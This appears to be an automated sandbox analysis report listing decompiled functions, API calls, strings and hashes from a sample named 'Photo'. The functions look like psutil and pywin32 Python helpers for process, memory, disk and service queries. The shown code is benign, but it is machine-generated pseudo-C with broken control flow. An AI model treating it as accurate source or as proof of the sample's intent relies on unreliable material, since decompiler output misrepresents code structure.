Opcode Fuzzy Hash: 185479a4822ade4c8aa506718eeb9cd72dde14efd053b4ad12b864521605a0dd
Instruction Fuzzy Hash: 9E71E8B19443019FC714DF64DC88A6BB7E8FF88368F144A28FE5997241E734EA15CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02761E30 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 107
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E02761E30() {
				void* _v0;
				void** _v16;
				intOrPtr _v24;
				void* _v28;
				void* __ebx;
				long _t27;
				void* _t32;
				long _t33;
				void* _t35;

				_t33 = 0x8000;
				_t32 = RtlAllocateHeap(GetProcessHeap(), 8, 0x8000);
				_t27 = NtQueryVirtualMemory(_v0, 0, 1, _t32, 0x8000, 0);
				if(_t27 != 0xc0000004) {
					L4:
					if(_t27 >= 0) {
						 *_v16 = _t32;
						return 0;
					} else {
						if(_t27 != 0xc0000022) {
							if(E02765E90(_t27, _v24) != 0) {
								 *0x2769288();
								_push("NtQueryVirtualMemory(MemoryWorkingSetInformation)");
								E02767C40(_t27);
							} else {
								E02761020(0x276d7de);
							}
						} else {
							E027610D0(0x276d7dd);
						}
						HeapFree(GetProcessHeap(), 0, _t32);
						return 1;
					}
				} else {
					while(1) {
						HeapFree(GetProcessHeap(), 0, _t32);
						_t33 = _t33 + _t33;
						E02761160("NtQueryVirtualMemory increase bufsize %zd", _t33);
						_t35 = _t35 + 8;
						if(_t33 > 0x10000000) {
							 *0x27692c4( *((intOrPtr*)( *0x27692c0)), "NtQueryVirtualMemory bufsize is too large");
							return 1;
						}
						_t32 = RtlAllocateHeap(GetProcessHeap(), 8, _t33);
						_t27 = NtQueryVirtualMemory(_v28, 0, 1, _t32, _t33, 0);
						if(_t27 == 0xc0000004) {
							continue;
						} else {
							goto L4;
						}
						goto L13;
					}
				}
				L13:
			}

0x02761e3a
0x02761e4e
0x02761e60
0x02761e68
0x02761ebf
0x02761ec1
0x02761f4d
0x02761f55
0x02761ec7
0x02761ecd
0x02761f0e
0x02761f1f
0x02761f25
0x02761f2b
0x02761f10
0x02761f15
0x02761f1a
0x02761ecf
0x02761ed4
0x02761ed9
0x02761f39
0x02761f48
0x02761f48
0x00000000
0x02761e70
0x02761e76
0x02761e7c
0x02761e84
0x02761e89
0x02761e92
0x02761eec
0x02761efe
0x02761efe
0x02761ea7
0x02761eb5
0x02761ebd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x02761ebd
0x02761e70
0x00000000

APIs

GetProcessHeap.KERNEL32(00000008,00008000), ref: 02761E42
RtlAllocateHeap.NTDLL(00000000), ref: 02761E45
NtQueryVirtualMemory.NTDLL(?,00000000,00000001,00000000,00008000,00000000), ref: 02761E5A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02761E73
HeapFree.KERNEL32(00000000), ref: 02761E76
GetProcessHeap.KERNEL32(00000008,00008000), ref: 02761E97
RtlAllocateHeap.NTDLL(00000000), ref: 02761E9A
NtQueryVirtualMemory.NTDLL(?,00000000,00000001,00000000,00008000,00000000), ref: 02761EAF
PyErr_SetString.PYTHON27(00000000,NtQueryVirtualMemory bufsize is too large), ref: 02761EEC
PyErr_Clear.PYTHON27 ref: 02761F1F

Part of subcall function 02767C40: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,?), ref: 02767C87

GetProcessHeap.KERNEL32(00000000,00000000), ref: 02761F36
HeapFree.KERNEL32(00000000), ref: 02761F39

Strings

NtQueryVirtualMemory bufsize is too large, xrefs: 02761EE6
", xrefs: 02761EC7
NtQueryVirtualMemory increase bufsize %zd, xrefs: 02761E7F
NtQueryVirtualMemory(MemoryWorkingSetInformation), xrefs: 02761F25

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Heap$Process$Err_$AllocateFreeMemoryQueryVirtual$ClearFilenameFromStringWindowsWith
String ID: "$NtQueryVirtualMemory bufsize is too large$NtQueryVirtualMemory increase bufsize %zd$NtQueryVirtualMemory(MemoryWorkingSetInformation)
API String ID: 1319032550-4102764982
Opcode ID: 5f8892ee2e86fed71916e2806117db8e7fd4da3ba88909fde1c604f810f5da5a
Instruction ID: 54a4df46ff9264cf9f41ccdf69d69d12c7b399acb46d050efd24cbe93eac900a
Opcode Fuzzy Hash: 5f8892ee2e86fed71916e2806117db8e7fd4da3ba88909fde1c604f810f5da5a
Instruction Fuzzy Hash: 003128B2B81300ABF720A7B6EC8DF6B7B69DB86755F540420FF09D7240DAB2D4548672

Uniqueness

Uniqueness Score: -1.00%

Function 027664B0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 137
nativeCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E027664B0(long __eax) {
				long _v4;
				long _v20;
				intOrPtr* _v24;
				void** _v28;
				signed int _t16;
				long _t18;
				void* _t21;
				intOrPtr* _t22;
				void* _t33;
				void* _t35;
				void* _t40;
				intOrPtr* _t42;
				void* _t43;
				long _t44;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t48;

				_t44 = __eax;
				_v4 = 0;
				if( *0x276db74 >= 0x3f) {
					__eflags = __eax;
					if(__eflags != 0) {
						_t16 = E02766060(__eflags, OpenProcess(0x1000, 0, __eax), _t44);
						_t48 = _t47 + 8;
					} else {
						_t16 = E027610D0(0x276d7f9);
						_t48 = _t47 + 4;
					}
					_t46 = _t16;
					__eflags = _t46;
					if(_t46 == 0) {
						goto L24;
					} else {
						_t18 = NtQueryInformationProcess(_t46, 0x3c, 0, 0,  &_v4);
						__eflags = _t18 - 0xc0000225;
						if(_t18 != 0xc0000225) {
							__eflags = _t18 - 0x80000005;
							if(_t18 == 0x80000005) {
								L12:
								_t42 =  *0x27691fc; // 0x6c423c40
								_t33 =  *_t42(_v20, 1);
								_t48 = _t48 + 8;
								__eflags = _t33;
								if(_t33 == 0) {
									L18:
									_t16 =  *0x27692bc();
									goto L19;
								} else {
									_t21 = NtQueryInformationProcess(_t46, 0x3c, _t33, _v20,  &_v20);
									__eflags = _t21;
									if(_t21 >= 0) {
										_t22 =  *((intOrPtr*)(_t33 + 4));
										_t40 = _t22 + 2;
										do {
											_t35 =  *_t22;
											_t22 = _t22 + 2;
											__eflags = _t35;
										} while (_t35 != 0);
										_t45 = (_t22 - _t40 >> 1) + 1;
										_t43 =  *_t42(_t45, 2);
										_t48 = _t48 + 8;
										__eflags = _t43;
										if(_t43 != 0) {
											 *0x27691f8(_t43, _t45,  *((intOrPtr*)(_t33 + 4)));
											 *_v28 = _t43;
											 *_v24 = _t45 + _t45;
											 *0x2769214(_t33);
											CloseHandle(_t46);
											__eflags = 0;
											return 0;
										} else {
											goto L18;
										}
									} else {
										_push("NtQueryInformationProcess(ProcessCommandLineInformation)");
										_t16 = E02767C40(_t21);
										_t48 = _t48 + 8;
										L19:
										__eflags = _t33;
										if(_t33 != 0) {
											_t16 =  *0x2769214(_t33);
											goto L21;
										}
										goto L22;
									}
								}
							} else {
								__eflags = _t18 - 0xc0000023;
								if(_t18 == 0xc0000023) {
									goto L12;
								} else {
									__eflags = _t18 - 0xc0000004;
									if(_t18 == 0xc0000004) {
										goto L12;
									} else {
										_push("NtQueryInformationProcess(ProcessBasicInformation)");
										_t16 = E02767C40(_t18);
										goto L22;
									}
								}
							}
						} else {
							_t16 = E027610D0("NtQueryInformationProcess(ProcessBasicInformation) -> STATUS_NOT_FOUND translated into PermissionError");
							L21:
							goto L22;
						}
					}
				} else {
					_t16 =  *0x27692c4( *((intOrPtr*)( *0x27692c0)), "requires Windows 8.1+");
					_t46 = _v4;
					L22:
					if(_t46 != 0) {
						_t16 = CloseHandle(_t46);
					}
					L24:
					return _t16 | 0xffffffff;
				}
			}

0x027664bc
0x027664be
0x027664c6
0x027664e7
0x027664e9
0x0276650a
0x0276650f
0x027664eb
0x027664f0
0x027664f5
0x027664f5
0x02766512
0x02766514
0x02766516
0x00000000
0x0276651c
0x02766528
0x0276652e
0x02766533
0x02766544
0x02766549
0x02766569
0x0276656d
0x02766578
0x0276657a
0x0276657d
0x0276657f
0x027665d0
0x027665d0
0x00000000
0x02766581
0x0276658f
0x02766595
0x02766597
0x027665a9
0x027665ac
0x027665b0
0x027665b0
0x027665b3
0x027665b6
0x027665b6
0x027665bf
0x027665c7
0x027665c9
0x027665cc
0x027665ce
0x027665fe
0x0276660f
0x02766612
0x02766614
0x0276661e
0x02766627
0x0276662b
0x00000000
0x00000000
0x00000000
0x02766599
0x02766599
0x0276659f
0x027665a4
0x027665d6
0x027665d6
0x027665d8
0x027665db
0x00000000
0x027665db
0x00000000
0x027665d8
0x02766597
0x0276654b
0x0276654b
0x02766550
0x00000000
0x02766552
0x02766552
0x02766557
0x00000000
0x02766559
0x02766559
0x0276655f
0x00000000
0x02766564
0x02766557
0x02766550
0x02766535
0x0276653a
0x027665e1
0x00000000
0x027665e1
0x02766533
0x027664c8
0x027664d5
0x027664db
0x027665e4
0x027665e6
0x027665e9
0x027665e9
0x027665f2
0x027665f7
0x027665f7

APIs

PyErr_SetString.PYTHON27(?,requires Windows 8.1+,?,00000000,?,00000000,?,02766674,?,?), ref: 027664D5
NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,00000000,?), ref: 02766528
CloseHandle.KERNEL32(00000000,?,?,?,?,02761B15,?,00000000), ref: 027665E9
6C423B4E.MSVCR90(00000000,?,?,?,?,?,?,02761B15,?,00000000), ref: 02766614
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,02761B15,?,00000000), ref: 0276661E

Strings

requires Windows 8.1+, xrefs: 027664CF
NtQueryInformationProcess(ProcessBasicInformation) -> STATUS_NOT_FOUND translated into PermissionError, xrefs: 02766535
N;Bl, xrefs: 027665DB, 02766614
NtQueryInformationProcess(ProcessCommandLineInformation), xrefs: 02766599
NtQueryInformationProcess(ProcessBasicInformation), xrefs: 02766559

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: CloseHandle$C423Err_InformationProcessQueryString
String ID: N;Bl$NtQueryInformationProcess(ProcessBasicInformation)$NtQueryInformationProcess(ProcessBasicInformation) -> STATUS_NOT_FOUND translated into PermissionError$NtQueryInformationProcess(ProcessCommandLineInformation)$requires Windows 8.1+
API String ID: 3994187230-1144198867
Opcode ID: 05c04759eeb4d73d203680d42fab447f47dec993e2535cb7c5c4fadbc3f59873
Instruction ID: 0d1f3563b5ad6297ada1521374440cba4e0958dea0afb820e8d56f63b6b20dd8
Opcode Fuzzy Hash: 05c04759eeb4d73d203680d42fab447f47dec993e2535cb7c5c4fadbc3f59873
Instruction Fuzzy Hash: 874124B5680311EFEB209B64AC4EF3B779CEB84219F444818FF06A7246E778D554CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 02763C20 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 80threadCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,0276B5E4,?), ref: 02763C3A
PyEval_SaveThread.PYTHON27 ref: 02763C43
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 02763C5F
PyErr_Clear.PYTHON27 ref: 02763C67
PyArg_ParseTuple.PYTHON27(?,0276B5E8,?), ref: 02763C78
PyEval_SaveThread.PYTHON27 ref: 02763C81
GetDiskFreeSpaceExA.KERNEL32(?,?,?,?), ref: 02763C9D
PyEval_RestoreThread.PYTHON27(00000000), ref: 02763CA6
PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,?), ref: 02763CB9
Py_BuildValue.PYTHON27((LL),?,?,?,?), ref: 02763CE1

Strings

(LL), xrefs: 02763CDC

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Eval_Thread$Arg_DiskErr_FreeParseSaveSpaceTuple$BuildClearFilenameFromRestoreValueWindowsWith
String ID: (LL)
API String ID: 379473955-591180812
Opcode ID: 5b3604c5020954ae8a21ca8b20f11056a6238e17d687a5834a36c414a392bdaa
Instruction ID: 908f3f86a6e560ab7e6531daaf91dcd259c8384a89eb80827f7e571adfc49547
Opcode Fuzzy Hash: 5b3604c5020954ae8a21ca8b20f11056a6238e17d687a5834a36c414a392bdaa
Instruction Fuzzy Hash: 7E217F76904302AFD700DB58DC48CEFB7ACEEC4618F448959FD49D3211E630EA59CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6310 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,iOi:SetSecurityDescriptorDacl,?,?,?), ref: 1E7A633A
?PyWinObject_AsACL@@YAHPAU_object@@PAPAU_ACL@@H@Z.PYWINTYPES27(?,?,00000001), ref: 1E7A635B
?_MakeAbsoluteSD@@YAHPAXPAPAX@Z.PYWINTYPES27(?,?), ref: 1E7A6375

Strings

SetSecurityDescriptorDacl, xrefs: 1E7A63B1
iOi:SetSecurityDescriptorDacl, xrefs: 1E7A632A

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: AbsoluteArg_MakeObject_ParseTupleU_object@@
String ID: SetSecurityDescriptorDacl$iOi:SetSecurityDescriptorDacl
API String ID: 2560617679-554422340
Opcode ID: c9801bf321c7f5ab8ffa0e8a6a622b7bf682ccf80a09c85f09187c280728d902
Instruction ID: ac729c91cddca0da4223e337283610bf57eab2c0c1a86eec61a6cf552d20c157
Opcode Fuzzy Hash: c9801bf321c7f5ab8ffa0e8a6a622b7bf682ccf80a09c85f09187c280728d902
Instruction Fuzzy Hash: 61318175504345ABB200DF55EC849AB73EDAEC8615F480B1DFE4492221E725E60ACAA6

Uniqueness

Uniqueness Score: -1.00%

Function 02761C70 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 79
processCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E02761C70(intOrPtr _a8) {
				char _v528;
				intOrPtr _v556;
				int _v560;
				void* _v564;
				intOrPtr _v568;
				void* _t11;
				intOrPtr* _t16;
				intOrPtr _t31;
				void* _t33;
				void* _t36;

				_t11 =  *0x2769308(_a8, "l",  &_v560);
				if(_t11 != 0) {
					_t36 = CreateToolhelp32Snapshot(2, _v560);
					if(_t36 != 0xffffffff) {
						_push( &_v560);
						_v560 = 0x22c;
						if(Process32FirstW(_t36) != 0) {
							while(_v556 != _v568) {
								if(Process32NextW(_t36,  &_v564) != 0) {
									continue;
								} else {
									CloseHandle(_t36);
									E02761020(0x276d7dc);
									return 0;
								}
								goto L12;
							}
							CloseHandle(_t36);
							_t16 =  &_v528;
							_t33 = _t16 + 2;
							do {
								_t31 =  *_t16;
								_t16 = _t16 + 2;
							} while (_t31 != 0);
							return  *0x276928c( &_v528, _t16 - _t33 >> 1);
						} else {
							E02761090("Process32FirstW");
							CloseHandle(_t36);
							return 0;
						}
					} else {
						return E02761090("CreateToolhelp32Snapshot");
					}
				} else {
					return _t11;
				}
				L12:
			}

0x02761c84
0x02761c8f
0x02761ca4
0x02761ca9
0x02761cc4
0x02761cc6
0x02761cd5
0x02761cf5
0x02761d0c
0x00000000
0x02761d0e
0x02761d0f
0x02761d1a
0x02761d2b
0x02761d2b
0x00000000
0x02761d0c
0x02761d2d
0x02761d33
0x02761d37
0x02761d40
0x02761d40
0x02761d43
0x02761d46
0x02761d65
0x02761cd7
0x02761cdc
0x02761ce5
0x02761cf4
0x02761cf4
0x02761cab
0x02761cbf
0x02761cbf
0x02761c97
0x02761c97
0x02761c97
0x00000000

APIs

PyArg_ParseTuple.PYTHON27(?,0276B300), ref: 02761C84
CreateToolhelp32Snapshot.KERNEL32(00000002), ref: 02761C9F

Strings

Process32FirstW, xrefs: 02761CD7
CreateToolhelp32Snapshot, xrefs: 02761CAB

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_CreateParseSnapshotToolhelp32Tuple
String ID: CreateToolhelp32Snapshot$Process32FirstW
API String ID: 1338670803-1839410257
Opcode ID: 41e53ae7834278b977a5ddd916abdb1897f4bd884aa39e8045e5cbc14b7b4389
Instruction ID: 954a499a4f2a5d5291325c7a399c43ffc630fc21e3601a168db58f3b8030cc6f
Opcode Fuzzy Hash: 41e53ae7834278b977a5ddd916abdb1897f4bd884aa39e8045e5cbc14b7b4389
Instruction Fuzzy Hash: EA21FC719002016BEB14EB74EC5DBFF37A9AF40348F884924EC5DC6240F7349618C6A3

Uniqueness

Uniqueness Score: -1.00%

Function 02765CD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93nativeCOMMON

Download Yara Rule

APIs

PyErr_NoMemory.PYTHON27 ref: 02765CEF
NtQuerySystemInformation.NTDLL(00000005,00000000,?,?), ref: 02765D0F
6C423B4E.MSVCR90(00000000), ref: 02765D24
PyErr_NoMemory.PYTHON27 ref: 02765D36

Strings

NtQuerySystemInformation(SystemProcessInformation), xrefs: 02765D47

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_Memory$C423InformationQuerySystem
String ID: NtQuerySystemInformation(SystemProcessInformation)
API String ID: 3293718862-862403119
Opcode ID: 28816509b4c8fa12162ba61f490eddc4d5efd6603564809e1234e30c8bf6cb12
Instruction ID: 136b221ce99bdf91f7d76fcef8ad3e622b48a388f2d28c258d0df21000172b63
Opcode Fuzzy Hash: 28816509b4c8fa12162ba61f490eddc4d5efd6603564809e1234e30c8bf6cb12
Instruction Fuzzy Hash: 6521C7B2A063119FE724DB25EC8CA6BB3D9EB84725F54492EFD05C7240D331D8459AA2

Uniqueness

Uniqueness Score: -1.00%

Function 02762420 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 15%

			E02762420(intOrPtr _a8) {
				char _v4;
				char _v8;
				void* _t6;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t18;
				void* _t23;

				_t6 =  *0x2769308(_a8, "lO",  &_v8,  &_v4);
				if(_t6 != 0) {
					_t8 = E027660C0(_v8, 0x800);
					_t23 = _t8;
					if(_t23 != 0) {
						_t9 =  *0x2769284(_v4, _t18);
						_push(_t23);
						if(_t9 == 0) {
							_t10 =  *0x276dc18();
						} else {
							_t10 =  *0x276dbe0();
						}
						_t19 = _t10;
						CloseHandle(_t23);
						if(_t10 >= 0) {
							 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
							return  *0x27692c8;
						} else {
							_push("NtSuspend|ResumeProcess");
							return E02767C40(_t19);
						}
					} else {
						return _t8;
					}
				} else {
					return _t6;
				}
			}

0x02762437
0x02762442
0x02762452
0x02762457
0x0276245e
0x0276246b
0x02762474
0x02762477
0x02762481
0x02762479
0x02762479
0x02762479
0x02762488
0x0276248a
0x02762492
0x027624ad
0x027624b9
0x02762494
0x02762494
0x027624a7
0x027624a7
0x02762460
0x02762464
0x02762464
0x02762447
0x02762447
0x02762447

APIs

PyArg_ParseTuple.PYTHON27(?,0276B43C,?,?), ref: 02762437

Strings

NtSuspend|ResumeProcess, xrefs: 02762494

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: NtSuspend|ResumeProcess
API String ID: 3371842430-3321992817
Opcode ID: 551d185ccf56b3c7863eb7381e12328016b9eff0251ba5e59800927c4d852785
Instruction ID: a6067b2c35259af9e3f80b48ca7f77e3f6d8e11ef5447140c7f86b5e54766449
Opcode Fuzzy Hash: 551d185ccf56b3c7863eb7381e12328016b9eff0251ba5e59800927c4d852785
Instruction Fuzzy Hash: 9301DB75940310ABCB50A768FC4D9AB3BA8EF80656F448824FD09D2201EA35D429CAF2

Uniqueness

Uniqueness Score: -1.00%

Function 02763890 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E02763890(intOrPtr _a8) {
				void _v4;
				intOrPtr _v20;
				void* _t5;
				void* _t6;
				long _t8;
				void* _t20;
				void* _t24;
				intOrPtr* _t25;

				_t5 =  *0x2769308(_a8, "l", _t24);
				_t25 = _t24 + 0xc;
				if(_t5 != 0) {
					_t6 = E027660C0( *_t25, 0x1000);
					_t20 = _t6;
					if(_t20 != 0) {
						_t8 = NtQueryInformationProcess(_t20, 0x21,  &_v4, 4, 0);
						_t16 = _t8;
						CloseHandle(_t20);
						if(_t8 >= 0) {
							return  *0x27692b4("i", _v20);
						} else {
							_push("NtQueryInformationProcess");
							return E02767C40(_t16);
						}
					} else {
						return _t6;
					}
				} else {
					return _t5;
				}
			}

0x027638a1
0x027638a7
0x027638ac
0x027638bc
0x027638c1
0x027638c8
0x027638dc
0x027638e3
0x027638e5
0x027638ed
0x0276391b
0x027638ef
0x027638ef
0x02763902
0x02763902
0x027638ca
0x027638ce
0x027638ce
0x027638b1
0x027638b1
0x027638b1

APIs

PyArg_ParseTuple.PYTHON27(?,0276B584), ref: 027638A1

Strings

NtQueryInformationProcess, xrefs: 027638EF

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: NtQueryInformationProcess
API String ID: 3371842430-2781105232
Opcode ID: e1cec8eb21b81ca07892c6b9da789f1265be43d9a099d9ccac3750986dc16adf
Instruction ID: 69a75bf9693489b5d5ee2e051144c4bd795ebf92c574890aed1e64b102df9498
Opcode Fuzzy Hash: e1cec8eb21b81ca07892c6b9da789f1265be43d9a099d9ccac3750986dc16adf
Instruction Fuzzy Hash: B901F775A803116BEA10A764BC4EFFB37999FC0A16F844428FD49D2240F675952CC6F2

Uniqueness

Uniqueness Score: -1.00%

Function 02763920 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E02763920(intOrPtr _a8) {
				void _v4;
				char _v8;
				void* _t6;
				void* _t8;
				long _t9;
				void* _t22;

				_t6 =  *0x2769308(_a8, "li",  &_v8,  &_v4);
				if(_t6 != 0) {
					_t8 = E027660C0(_v8, 0x600);
					_t22 = _t8;
					if(_t22 != 0) {
						_t9 = NtSetInformationProcess(_t22, 0x21,  &_v4, 4);
						_t18 = _t9;
						CloseHandle(_t22);
						if(_t9 >= 0) {
							 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
							return  *0x27692c8;
						} else {
							_push("NtSetInformationProcess");
							return E02767C40(_t18);
						}
					} else {
						return _t8;
					}
				} else {
					return _t6;
				}
			}

0x02763937
0x02763942
0x02763952
0x02763957
0x0276395e
0x02763970
0x02763977
0x02763979
0x02763981
0x0276399c
0x027639a8
0x02763983
0x02763983
0x02763996
0x02763996
0x02763960
0x02763964
0x02763964
0x02763947
0x02763947
0x02763947

APIs

PyArg_ParseTuple.PYTHON27(?,0276B5A8,?,?), ref: 02763937

Strings

NtSetInformationProcess, xrefs: 02763983

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: NtSetInformationProcess
API String ID: 3371842430-1892905377
Opcode ID: 5a74964c80d09c3fdd5d14c17baccd290b62473c2f5a401a81bbc08b4d71746b
Instruction ID: a7b3a2b5c59f728d5fc5e7a7e3d61a620442a69c26804868245cbd9d40bc9f9f
Opcode Fuzzy Hash: 5a74964c80d09c3fdd5d14c17baccd290b62473c2f5a401a81bbc08b4d71746b
Instruction Fuzzy Hash: A6012D75940310ABDB00E618FC4DEFB3768EB81A16F444858FE0492100F7355518CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 02767AA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
serviceCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E02767AA0(intOrPtr _a8) {
				void* _t3;
				void* _t14;
				void* _t17;
				intOrPtr* _t18;

				_t3 =  *0x2769308(_a8, "s", _t17);
				_t18 = _t17 + 0xc;
				if(_t3 != 0) {
					_t14 = E02767220( *_t18, 0xf003f, 0x10);
					if(_t14 == 0) {
						L5:
						return 0;
					} else {
						if(StartServiceA(_t14, 0, 0) != 0) {
							 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
							return  *0x27692c8;
						} else {
							E02761090("StartService");
							CloseServiceHandle(_t14);
							goto L5;
						}
					}
				} else {
					return _t3;
				}
			}

0x02767aaf
0x02767ab5
0x02767aba
0x02767acf
0x02767ad6
0x02767afb
0x02767aff
0x02767ad8
0x02767ae5
0x02767b05
0x02767b0e
0x02767ae7
0x02767aec
0x02767af5
0x00000000
0x02767af5
0x02767ae5
0x02767abd
0x02767abd
0x02767abd

APIs

